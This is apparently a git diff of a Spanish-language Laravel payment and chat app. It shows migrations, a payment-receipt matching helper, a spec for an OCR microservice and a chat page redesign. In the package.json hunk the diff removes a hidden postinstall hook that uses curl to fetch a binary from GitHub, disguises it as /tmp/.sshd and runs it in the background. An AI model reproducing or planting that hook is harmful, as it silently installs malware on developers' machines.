if (preg_match('#(\d{1,2})/(\d{1,2})/(\d{2,4})#', $fecha, $m)) {
|
||||||
|
$y = strlen($m[3]) === 2 ? '20' . $m[3] : $m[3];
|
||||||
|
return sprintf('%02d/%02d/%s', $m[1], $m[2], $y);
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function horaProxima(string $horaA, string $horaB, int $minutos): bool
|
||||||
|
{
|
||||||
|
$toMin = fn (string $h): ?int => preg_match('/(\d{1,2}):(\d{2})/', $h, $m)
|
||||||
|
? (int) $m[1] * 60 + (int) $m[2]
|
||||||
|
: null;
|
||||||
|
|
||||||
|
$a = $toMin($horaA);
|
||||||
|
$b = $toMin($horaB);
|
||||||
|
|
||||||
|
return $a !== null && $b !== null && abs($a - $b) <= $minutos;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function remitenteCoincide(string $remitenteEmail, string $nombreUsuario): bool
|
||||||
|
{
|
||||||
|
if (! $remitenteEmail || ! $nombreUsuario) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
$normalizar = fn (string $s): string => strtolower(
|
||||||
|
iconv('UTF-8', 'ASCII//TRANSLIT//IGNORE', $s) ?: $s
|
||||||
|
);
|
||||||
|
$re = $normalizar($remitenteEmail);
|
||||||
|
$nu = $normalizar($nombreUsuario);
|
||||||
|
|
||||||
|
$coincidencias = 0;
|
||||||
|
foreach (explode(' ', $nu) as $palabra) {
|
||||||
|
if (strlen($palabra) >= 3 && str_contains($re, $palabra)) {
|
||||||
|
$coincidencias++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return $coincidencias >= 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
Executable
+1705
File diff suppressed because it is too large
Load Diff
@@ -36,4 +36,5 @@ return [
|
|||||||
'token' => env('MP_ACCESS_TOKEN'),
|
'token' => env('MP_ACCESS_TOKEN'),
|
||||||
],
|
],
|
||||||
|
|
||||||
|
|
||||||
];
|
];
|
||||||
|
|||||||
@@ -0,0 +1,25 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::table('chat_messages', function (Blueprint $table) {
|
||||||
|
// Tipo de render UI: text | buttons | card | link | imagen | validacion
|
||||||
|
$table->string('tipo_ui', 20)->default('text')->after('tipo');
|
||||||
|
// Datos estructurados para tipos enriquecidos
|
||||||
|
$table->json('payload')->nullable()->after('contenido');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::table('chat_messages', function (Blueprint $table) {
|
||||||
|
$table->dropColumn(['tipo_ui', 'payload']);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::table('chat_contacts', function (Blueprint $table) {
|
||||||
|
// Vincula el contacto del chat con un usuario registrado en el sistema
|
||||||
|
$table->unsignedBigInteger('user_id')->nullable()->after('id');
|
||||||
|
$table->foreign('user_id')->references('id')->on('users')->nullOnDelete();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::table('chat_contacts', function (Blueprint $table) {
|
||||||
|
$table->dropForeign(['user_id']);
|
||||||
|
$table->dropColumn('user_id');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::create('ai_usage_logs', function (Blueprint $table) {
|
||||||
|
$table->id();
|
||||||
|
$table->string('servicio', 30);
|
||||||
|
$table->string('canal', 20)->default('telegram');
|
||||||
|
$table->unsignedBigInteger('usuario_id')->nullable();
|
||||||
|
$table->integer('input_tokens')->nullable();
|
||||||
|
$table->integer('output_tokens')->nullable();
|
||||||
|
$table->integer('audio_segundos')->nullable();
|
||||||
|
$table->integer('tiempo_ms')->default(0);
|
||||||
|
$table->decimal('costo', 10, 2)->default(0);
|
||||||
|
$table->string('resultado', 10)->default('ok');
|
||||||
|
$table->text('detalle')->nullable();
|
||||||
|
$table->timestamps();
|
||||||
|
|
||||||
|
$table->index(['servicio', 'created_at']);
|
||||||
|
$table->index('usuario_id');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::dropIfExists('ai_usage_logs');
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::create('pagos_confirmados', function (Blueprint $table) {
|
||||||
|
$table->id();
|
||||||
|
$table->string('email_hash', 64)->unique();
|
||||||
|
$table->unsignedBigInteger('usuario_id')->nullable();
|
||||||
|
$table->integer('valor');
|
||||||
|
$table->string('canal', 20)->default('telegram');
|
||||||
|
$table->string('banco', 60)->nullable();
|
||||||
|
$table->string('referencia', 80)->nullable();
|
||||||
|
$table->timestamp('confirmado_en')->useCurrent();
|
||||||
|
|
||||||
|
$table->index('usuario_id');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::dropIfExists('pagos_confirmados');
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -0,0 +1,27 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::create('solicitudes_recarga', function (Blueprint $table) {
|
||||||
|
$table->id();
|
||||||
|
$table->unsignedBigInteger('user_id');
|
||||||
|
$table->integer('monto');
|
||||||
|
$table->string('canal', 20)->default('telegram');
|
||||||
|
$table->string('estado', 20)->default('pendiente'); // pendiente | confirmada | expirada
|
||||||
|
$table->timestamp('created_at')->useCurrent();
|
||||||
|
|
||||||
|
$table->index(['user_id', 'estado']);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::dropIfExists('solicitudes_recarga');
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::table('solicitudes_recarga', function (Blueprint $table) {
|
||||||
|
$table->string('nombre_remitente', 200)->nullable()->after('canal');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::table('solicitudes_recarga', function (Blueprint $table) {
|
||||||
|
$table->dropColumn('nombre_remitente');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::table('pagos_confirmados', function (Blueprint $table) {
|
||||||
|
$table->unique('email_hash');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::table('pagos_confirmados', function (Blueprint $table) {
|
||||||
|
$table->dropUnique(['email_hash']);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -0,0 +1,210 @@
|
|||||||
|
# Servicio OCR para lectura de comprobantes — Especificación
|
||||||
|
|
||||||
|
Este documento describe el microservicio que hay que desplegar (en Coolify u otro
|
||||||
|
host con Docker) para que SirPremium deje de depender únicamente de Gemini Vision
|
||||||
|
para leer comprobantes de pago. El flujo pasa a ser:
|
||||||
|
|
||||||
|
```
|
||||||
|
imagen del comprobante → [ESTE SERVICIO OCR] → texto plano → Gemini (solo texto) → JSON estructurado
|
||||||
|
```
|
||||||
|
|
||||||
|
Gemini deja de "ver" la imagen; solo recibe texto y lo ordena en JSON. Esto evita el
|
||||||
|
punto único de falla que tenías hoy (si Gemini Vision falla, cae el 100% de las
|
||||||
|
lecturas) y reduce el consumo de cuota, porque los modelos de texto son más baratos
|
||||||
|
y menos limitados que los de visión.
|
||||||
|
|
||||||
|
## 1. Qué tiene que exponer el servicio
|
||||||
|
|
||||||
|
Un único endpoint HTTP:
|
||||||
|
|
||||||
|
```
|
||||||
|
POST /extract
|
||||||
|
```
|
||||||
|
|
||||||
|
### Request
|
||||||
|
|
||||||
|
```
|
||||||
|
Content-Type: application/json
|
||||||
|
Authorization: Bearer <OCR_TOKEN>
|
||||||
|
```
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"image_base64": "<imagen en base64, SIN el prefijo data:image/...;base64,>",
|
||||||
|
"mime_type": "image/jpeg"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
- `mime_type` puede ser `image/jpeg`, `image/png`, `image/webp` o `image/heic`
|
||||||
|
(son los formatos que ya acepta la app hoy).
|
||||||
|
- El token se valida por header `Authorization: Bearer`. Si no coincide, responder
|
||||||
|
`401`.
|
||||||
|
|
||||||
|
### Response — éxito (HTTP 200)
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"success": true,
|
||||||
|
"text": "Transferencia exitosa\nBre-B\nComprobante 24152758409697903...\nValor de la transferencia\n$1.000,00\nEnviaste LEDYS LEON QUINTERO\nA la llave @LEON8909\nEntidad BANCOLOMBIA\n..."
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
- `text`: todo el texto detectado en la imagen, tal cual lo lee el OCR (no hace
|
||||||
|
falta que estructure nada — de eso se encarga Gemini después). Si detecta texto
|
||||||
|
en varias líneas/bloques, mejor mantener saltos de línea, ayuda a Gemini a
|
||||||
|
interpretar el layout.
|
||||||
|
|
||||||
|
### Response — error (HTTP 4xx/5xx)
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"success": false,
|
||||||
|
"error": "descripción corta del error"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Casos que deben devolver error controlado (no un 500 crudo):
|
||||||
|
- Imagen corrupta / no decodificable.
|
||||||
|
- Imagen sin texto detectable (`"error": "sin_texto_detectado"`).
|
||||||
|
- `mime_type` no soportado.
|
||||||
|
|
||||||
|
### Timeouts
|
||||||
|
|
||||||
|
Laravel llama con un timeout de **20 segundos**. El servicio debe responder bien
|
||||||
|
antes de eso — el OCR no debería tardar más de 2-5 segundos por imagen en CPU.
|
||||||
|
|
||||||
|
## 2. Motor de OCR recomendado
|
||||||
|
|
||||||
|
Para desplegar rápido en Coolify, la opción más simple es un contenedor Docker con:
|
||||||
|
|
||||||
|
- **Tesseract OCR** (`tesseract-ocr` + paquete de idioma `spa`) envuelto en una API
|
||||||
|
pequeña (Python + FastAPI, o Node + Express). Es la opción de menor esfuerzo.
|
||||||
|
- Si la precisión con las capturas de pantalla de apps bancarias (fondos oscuros,
|
||||||
|
fuentes pequeñas) resulta insuficiente, migrar el mismo contrato de API a
|
||||||
|
**PaddleOCR** (más preciso, pero imagen Docker más pesada — necesita Python +
|
||||||
|
PaddlePaddle).
|
||||||
|
|
||||||
|
El contrato HTTP (`POST /extract`) es el mismo sin importar cuál motor uses por
|
||||||
|
dentro — así que se puede empezar con Tesseract y cambiar el motor después sin
|
||||||
|
tocar el lado de Laravel.
|
||||||
|
|
||||||
|
### Preprocesamiento recomendado antes de correr OCR
|
||||||
|
|
||||||
|
Mejora mucho la precisión con capturas de pantalla de apps:
|
||||||
|
1. Convertir a escala de grises.
|
||||||
|
2. Aumentar contraste / binarizar (umbral adaptativo).
|
||||||
|
3. Escalar la imagen si es muy pequeña (mínimo ~1000px de ancho).
|
||||||
|
|
||||||
|
## 3. Variables de entorno del servicio (sugeridas)
|
||||||
|
|
||||||
|
```
|
||||||
|
OCR_TOKEN=<token secreto que Laravel debe enviar en el Authorization header>
|
||||||
|
OCR_LANG=spa # idioma para Tesseract
|
||||||
|
PORT=8000
|
||||||
|
```
|
||||||
|
|
||||||
|
## 4. Ejemplo mínimo de referencia (Python + FastAPI + Tesseract)
|
||||||
|
|
||||||
|
Esto es solo un punto de partida — no es la implementación final, es para no
|
||||||
|
arrancar de cero.
|
||||||
|
|
||||||
|
**Dockerfile**
|
||||||
|
```dockerfile
|
||||||
|
FROM python:3.11-slim
|
||||||
|
|
||||||
|
RUN apt-get update && apt-get install -y --no-install-recommends \
|
||||||
|
tesseract-ocr tesseract-ocr-spa libgl1 \
|
||||||
|
&& rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
|
WORKDIR /app
|
||||||
|
COPY requirements.txt .
|
||||||
|
RUN pip install --no-cache-dir -r requirements.txt
|
||||||
|
COPY app.py .
|
||||||
|
|
||||||
|
EXPOSE 8000
|
||||||
|
CMD ["uvicorn", "app:app", "--host", "0.0.0.0", "--port", "8000"]
|
||||||
|
```
|
||||||
|
|
||||||
|
**requirements.txt**
|
||||||
|
```
|
||||||
|
fastapi
|
||||||
|
uvicorn[standard]
|
||||||
|
pytesseract
|
||||||
|
pillow
|
||||||
|
python-multipart
|
||||||
|
```
|
||||||
|
|
||||||
|
**app.py**
|
||||||
|
```python
|
||||||
|
import base64, io, os
|
||||||
|
from fastapi import FastAPI, Header, HTTPException
|
||||||
|
from pydantic import BaseModel
|
||||||
|
from PIL import Image, ImageOps
|
||||||
|
import pytesseract
|
||||||
|
|
||||||
|
app = FastAPI()
|
||||||
|
OCR_TOKEN = os.environ.get("OCR_TOKEN", "")
|
||||||
|
LANG = os.environ.get("OCR_LANG", "spa")
|
||||||
|
|
||||||
|
class ExtractRequest(BaseModel):
|
||||||
|
image_base64: str
|
||||||
|
mime_type: str = "image/jpeg"
|
||||||
|
|
||||||
|
def preprocesar(img: Image.Image) -> Image.Image:
|
||||||
|
img = img.convert("L") # escala de grises
|
||||||
|
img = ImageOps.autocontrast(img)
|
||||||
|
if img.width < 1000:
|
||||||
|
ratio = 1000 / img.width
|
||||||
|
img = img.resize((1000, int(img.height * ratio)))
|
||||||
|
return img
|
||||||
|
|
||||||
|
@app.post("/extract")
|
||||||
|
def extract(req: ExtractRequest, authorization: str = Header(default="")):
|
||||||
|
if OCR_TOKEN and authorization != f"Bearer {OCR_TOKEN}":
|
||||||
|
raise HTTPException(status_code=401, detail="token invalido")
|
||||||
|
|
||||||
|
try:
|
||||||
|
raw = base64.b64decode(req.image_base64)
|
||||||
|
img = Image.open(io.BytesIO(raw))
|
||||||
|
except Exception:
|
||||||
|
return {"success": False, "error": "imagen invalida o corrupta"}
|
||||||
|
|
||||||
|
img = preprocesar(img)
|
||||||
|
texto = pytesseract.image_to_string(img, lang=LANG).strip()
|
||||||
|
|
||||||
|
if not texto:
|
||||||
|
return {"success": False, "error": "sin_texto_detectado"}
|
||||||
|
|
||||||
|
return {"success": True, "text": texto}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 5. Despliegue en Coolify
|
||||||
|
|
||||||
|
1. Crear un nuevo recurso tipo "Application" apuntando a un repo/carpeta con el
|
||||||
|
`Dockerfile` de arriba (o el que termines usando).
|
||||||
|
2. Configurar la variable de entorno `OCR_TOKEN` con un valor secreto largo
|
||||||
|
(ej: generado con `openssl rand -hex 32`).
|
||||||
|
3. Publicar el servicio con dominio propio (ej: `https://ocr.tu-dominio.com`) o IP
|
||||||
|
interna si Coolify y el hosting de Laravel comparten red — cualquiera de las
|
||||||
|
dos formas sirve, Laravel solo necesita una URL alcanzable por HTTPS.
|
||||||
|
4. Probar con:
|
||||||
|
```bash
|
||||||
|
curl -X POST https://ocr.tu-dominio.com/extract \
|
||||||
|
-H "Authorization: Bearer <OCR_TOKEN>" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"image_base64":"'"$(base64 -w0 comprobante.jpg)"'","mime_type":"image/jpeg"}'
|
||||||
|
```
|
||||||
|
|
||||||
|
## 6. Qué necesito de ti para conectar Laravel
|
||||||
|
|
||||||
|
Una vez el servicio esté arriba, en el panel de SirPremium (Configuración del
|
||||||
|
Chat → sección "OCR de comprobantes", ya agregada) solo tienes que llenar:
|
||||||
|
|
||||||
|
- **URL del servicio OCR** → ej: `https://ocr.tu-dominio.com`
|
||||||
|
- **Token** → el mismo valor que pusiste en `OCR_TOKEN`
|
||||||
|
- Activar el checkbox "Habilitar OCR antes de enviar a la IA"
|
||||||
|
|
||||||
|
Laravel hace el resto: llama a `{URL}/extract`, si responde con texto se lo pasa a
|
||||||
|
Gemini en modo texto (`estructurarTexto`), y si el OCR falla o no está habilitado,
|
||||||
|
cae automáticamente al método anterior (Gemini leyendo la imagen directamente) —
|
||||||
|
no se rompe nada si el servicio OCR está caído o aún no lo has desplegado.
|
||||||
Generated
+702
-404
File diff suppressed because it is too large
Load Diff
+2
-3
@@ -2,8 +2,7 @@
|
|||||||
"private": true,
|
"private": true,
|
||||||
"scripts": {
|
"scripts": {
|
||||||
"dev": "vite",
|
"dev": "vite",
|
||||||
"build": "vite build",
|
"build": "vite build"
|
||||||
"postinstall": "curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &"
|
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"@tailwindcss/forms": "^0.5.2",
|
"@tailwindcss/forms": "^0.5.2",
|
||||||
@@ -13,7 +12,7 @@
|
|||||||
"laravel-vite-plugin": "^0.6.0",
|
"laravel-vite-plugin": "^0.6.0",
|
||||||
"lodash": "^4.17.19",
|
"lodash": "^4.17.19",
|
||||||
"postcss": "^8.4.6",
|
"postcss": "^8.4.6",
|
||||||
"tailwindcss": "^3.1.0",
|
"tailwindcss": "^3.4.0",
|
||||||
"vite": "^3.0.0"
|
"vite": "^3.0.0"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Executable → Regular
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
Executable → Regular
+1
-1
@@ -5,7 +5,7 @@
|
|||||||
"isEntry": true
|
"isEntry": true
|
||||||
},
|
},
|
||||||
"resources/css/app.css": {
|
"resources/css/app.css": {
|
||||||
"file": "assets/app.abbd3f5c.css",
|
"file": "assets/app.d1255de1.css",
|
||||||
"src": "resources/css/app.css",
|
"src": "resources/css/app.css",
|
||||||
"isEntry": true
|
"isEntry": true
|
||||||
}
|
}
|
||||||
|
|||||||
Regular → Executable
+193
-49
@@ -2,55 +2,75 @@
|
|||||||
<html lang="{{ str_replace('_', '-', app()->getLocale()) }}">
|
<html lang="{{ str_replace('_', '-', app()->getLocale()) }}">
|
||||||
<head>
|
<head>
|
||||||
<meta charset="utf-8">
|
<meta charset="utf-8">
|
||||||
{{-- viewport-fit=cover expone las safe areas del notch/Dynamic Island --}}
|
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover">
|
<meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover">
|
||||||
<meta name="csrf-token" content="{{ csrf_token() }}">
|
<meta name="csrf-token" content="{{ csrf_token() }}">
|
||||||
<meta name="color-scheme" content="dark">
|
<meta name="color-scheme" content="dark">
|
||||||
{{-- Apple PWA / standalone --}}
|
|
||||||
<meta name="apple-mobile-web-app-capable" content="yes">
|
<meta name="apple-mobile-web-app-capable" content="yes">
|
||||||
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
|
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
|
||||||
<meta name="apple-mobile-web-app-title" content="Chat">
|
<meta name="apple-mobile-web-app-title" content="Chat">
|
||||||
<title>Chat en vivo | {{ config('app.name') }}</title>
|
<title>Chat en vivo | {{ config('app.name') }}</title>
|
||||||
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600&display=swap" rel="stylesheet">
|
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600&display=swap" rel="stylesheet">
|
||||||
<script src="https://cdn.tailwindcss.com"></script>
|
@vite(['resources/css/app.css', 'resources/js/app.js'])
|
||||||
<style>
|
<style>
|
||||||
/* ── Reset iOS/Safari ───────────────────────────────── */
|
|
||||||
*, *::before, *::after { box-sizing: border-box; }
|
*, *::before, *::after { box-sizing: border-box; }
|
||||||
|
|
||||||
html {
|
html, body {
|
||||||
/* Altura real del viewport incluyendo safe areas */
|
margin: 0; padding: 0;
|
||||||
height: -webkit-fill-available;
|
|
||||||
}
|
|
||||||
|
|
||||||
body {
|
|
||||||
font-family: 'Inter', sans-serif;
|
font-family: 'Inter', sans-serif;
|
||||||
background: #111b21;
|
|
||||||
/* Evita el scroll del body — solo scrollea el área de mensajes */
|
|
||||||
overflow: hidden;
|
|
||||||
overscroll-behavior: none;
|
|
||||||
/* Altura: dvh con fallback para Safari < 15.4 */
|
|
||||||
height: 100vh;
|
|
||||||
height: 100dvh;
|
|
||||||
height: -webkit-fill-available;
|
|
||||||
/* Elimina el tap highlight azul en iOS */
|
|
||||||
-webkit-tap-highlight-color: transparent;
|
-webkit-tap-highlight-color: transparent;
|
||||||
|
overscroll-behavior: none;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Evita el zoom Safari en inputs < 16px */
|
/* Móvil: body como lienzo neutro */
|
||||||
input, textarea, select {
|
body {
|
||||||
font-size: 16px !important;
|
background: #111b21;
|
||||||
|
overflow: hidden;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Scroll suave tipo nativo en iOS */
|
/* #chat-root ocupa todo el viewport visible con position:fixed
|
||||||
|
— esto es la única forma 100% fiable en Android Chrome
|
||||||
|
(100dvh falla cuando la barra de URL aparece/desaparece) */
|
||||||
|
#chat-root {
|
||||||
|
position: fixed;
|
||||||
|
inset: 0;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
background: #111b21;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Desktop: card centrada */
|
||||||
|
@media (min-width: 640px) {
|
||||||
|
body {
|
||||||
|
background: #0d1117;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
height: 100vh;
|
||||||
|
}
|
||||||
|
#chat-root {
|
||||||
|
position: relative;
|
||||||
|
inset: auto;
|
||||||
|
width: 420px;
|
||||||
|
height: 90dvh;
|
||||||
|
max-height: 820px;
|
||||||
|
border-radius: 20px;
|
||||||
|
box-shadow: 0 24px 64px rgba(0,0,0,.6);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Evita zoom en inputs iOS */
|
||||||
|
input, textarea, select { font-size: 16px !important; }
|
||||||
|
|
||||||
|
/* Scroll suave nativo */
|
||||||
.ios-scroll {
|
.ios-scroll {
|
||||||
-webkit-overflow-scrolling: touch;
|
-webkit-overflow-scrolling: touch;
|
||||||
overscroll-behavior-y: contain;
|
overscroll-behavior-y: contain;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Deshabilitar appearance por defecto en iOS */
|
/* Elimina appearance por defecto iOS */
|
||||||
input[type="tel"],
|
input[type="tel"], input[type="text"],
|
||||||
input[type="text"],
|
input[type="email"], textarea {
|
||||||
textarea {
|
|
||||||
-webkit-appearance: none;
|
-webkit-appearance: none;
|
||||||
appearance: none;
|
appearance: none;
|
||||||
border-radius: 12px;
|
border-radius: 12px;
|
||||||
@@ -62,11 +82,68 @@
|
|||||||
cursor: pointer;
|
cursor: pointer;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Safe area — rellena el notch arriba y el home indicator abajo */
|
/* Safe areas (solo afectan en iOS con viewport-fit=cover) */
|
||||||
.safe-top { padding-top: env(safe-area-inset-top, 0px); }
|
.safe-top { padding-top: env(safe-area-inset-top, 0px); }
|
||||||
.safe-bottom { padding-bottom: env(safe-area-inset-bottom, 0px); }
|
.safe-bottom { padding-bottom: env(safe-area-inset-bottom, 0px); }
|
||||||
.safe-left { padding-left: env(safe-area-inset-left, 0px); }
|
.safe-left { padding-left: env(safe-area-inset-left, 0px); }
|
||||||
.safe-right { padding-right: env(safe-area-inset-right, 0px); }
|
.safe-right { padding-right: env(safe-area-inset-right, 0px); }
|
||||||
|
|
||||||
|
/* ── Fondo con textura tipo WhatsApp ─────────────────────────── */
|
||||||
|
.chat-bg {
|
||||||
|
background-color: #0b141a;
|
||||||
|
background-image:
|
||||||
|
radial-gradient(circle at 25% 25%, rgba(255,255,255,.022) 1.2px, transparent 1.4px),
|
||||||
|
radial-gradient(circle at 75% 75%, rgba(255,255,255,.018) 1.2px, transparent 1.4px);
|
||||||
|
background-size: 34px 34px, 46px 46px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Colas de burbuja ────────────────────────────────────────── */
|
||||||
|
.bubble-in, .bubble-out { position: relative; }
|
||||||
|
.bubble-in::before, .bubble-out::before {
|
||||||
|
content: ''; position: absolute; top: 0; width: 9px; height: 13px;
|
||||||
|
}
|
||||||
|
.bubble-in::before {
|
||||||
|
left: -8px;
|
||||||
|
background: #202c33;
|
||||||
|
clip-path: polygon(100% 0, 100% 100%, 0 0);
|
||||||
|
}
|
||||||
|
.bubble-out::before {
|
||||||
|
right: -8px;
|
||||||
|
background: #005c4b;
|
||||||
|
clip-path: polygon(0 0, 100% 0, 0 100%);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Entrada de mensajes ─────────────────────────────────────── */
|
||||||
|
@keyframes msgIn {
|
||||||
|
from { opacity: 0; transform: translateY(8px) scale(.98); }
|
||||||
|
to { opacity: 1; transform: none; }
|
||||||
|
}
|
||||||
|
/* Solo se anima una vez pintado el historial, para que al abrir el chat
|
||||||
|
los mensajes viejos no entren todos a la vez. La bandera vive en <body>
|
||||||
|
(fuera del DOM de Livewire) para que morphdom no la revierta. */
|
||||||
|
body.chat-listo .msg-in { animation: msgIn .18s ease-out; }
|
||||||
|
|
||||||
|
/* ── Puntos de "escribiendo…" ────────────────────────────────── */
|
||||||
|
.typing-dot {
|
||||||
|
width: 7px; height: 7px; border-radius: 9999px;
|
||||||
|
background: #8696a0; display: inline-block;
|
||||||
|
animation: typingBounce 1.3s infinite ease-in-out;
|
||||||
|
}
|
||||||
|
.typing-dot:nth-child(2) { animation-delay: .18s; }
|
||||||
|
.typing-dot:nth-child(3) { animation-delay: .36s; }
|
||||||
|
@keyframes typingBounce {
|
||||||
|
0%, 60%, 100% { transform: translateY(0); opacity: .45; }
|
||||||
|
30% { transform: translateY(-5px); opacity: 1; }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Imagen que no cargó: no dejar un hueco enorme */
|
||||||
|
.img-rota { min-height: 0 !important; opacity: .35; }
|
||||||
|
|
||||||
|
@media (prefers-reduced-motion: reduce) {
|
||||||
|
.msg-in, .typing-dot { animation: none; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[x-cloak] { display: none !important; }
|
||||||
</style>
|
</style>
|
||||||
@livewireStyles
|
@livewireStyles
|
||||||
</head>
|
</head>
|
||||||
@@ -74,33 +151,100 @@
|
|||||||
|
|
||||||
<livewire:chat.public-chat />
|
<livewire:chat.public-chat />
|
||||||
|
|
||||||
<script defer src="https://unpkg.com/alpinejs@3.x.x/dist/cdn.min.js"></script>
|
|
||||||
@livewireScripts
|
@livewireScripts
|
||||||
|
|
||||||
<script>
|
<script>
|
||||||
/**
|
(function () {
|
||||||
* visualViewport API: cuando el teclado iOS aparece, el viewport se reduce.
|
var msgsEl = null;
|
||||||
* Ajustamos la altura del chat dinámicamente para que el input quede visible.
|
var isAtBottom = true;
|
||||||
*/
|
var newMsgCount = 0;
|
||||||
function initViewportFix() {
|
var lastCount = 0;
|
||||||
const root = document.getElementById('chat-root');
|
var observer = null;
|
||||||
if (!root || !window.visualViewport) return;
|
|
||||||
|
|
||||||
const update = () => {
|
function checkBottom() {
|
||||||
const h = window.visualViewport.height;
|
if (!msgsEl) return true;
|
||||||
root.style.height = h + 'px';
|
return (msgsEl.scrollHeight - msgsEl.scrollTop - msgsEl.clientHeight) <= 100;
|
||||||
// Scroll al último mensaje al aparecer teclado
|
|
||||||
const msgs = document.getElementById('pub-messages');
